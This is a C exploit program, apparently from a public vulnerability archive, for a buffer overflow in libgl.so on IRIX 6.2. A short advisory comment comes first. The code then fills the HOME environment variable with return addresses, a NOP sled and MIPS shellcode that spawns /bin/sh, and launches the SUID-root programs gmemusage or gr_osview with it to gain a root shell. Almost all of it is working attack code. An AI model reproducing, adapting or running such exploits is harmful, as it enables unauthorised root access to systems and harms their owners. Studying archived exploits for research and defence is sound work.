/*
source: https://www.securityfocus.com/bid/1527/info
Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access.
*/
/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/
/*## libgl.so $HOME #*/
#define ADRNUM 500
#define PCHNUM 320
#define TMPNUM 500
#define NOPNUM 740
#define ALLIGN 3
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;
char nop[]="\x24\x0f\x12\x34";
main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2];
int i,n=-1;
printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n");
printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n");
if(argc!=2){
printf("usage: %s {gmemusage|gr_osview}\n",argv[0]);
exit(-1);
}
if(!strcmp(argv[1],"gmemusage")) n=0;
if(!strcmp(argv[1],"gr_osview")) n=1;
if(n==-1) exit(-1);
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868;
*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268;
envp[0]=buffer;
envp[1]=0;
b=buffer;
sprintf(b,"HOME=");
b+=5;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
*b++=0xff;
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
switch(n){
case 0: execle("/usr/sbin/gmemusage","lsd",0,envp);
case 1: execle("/usr/sbin/gr_osview","lsd",0,envp);
}
}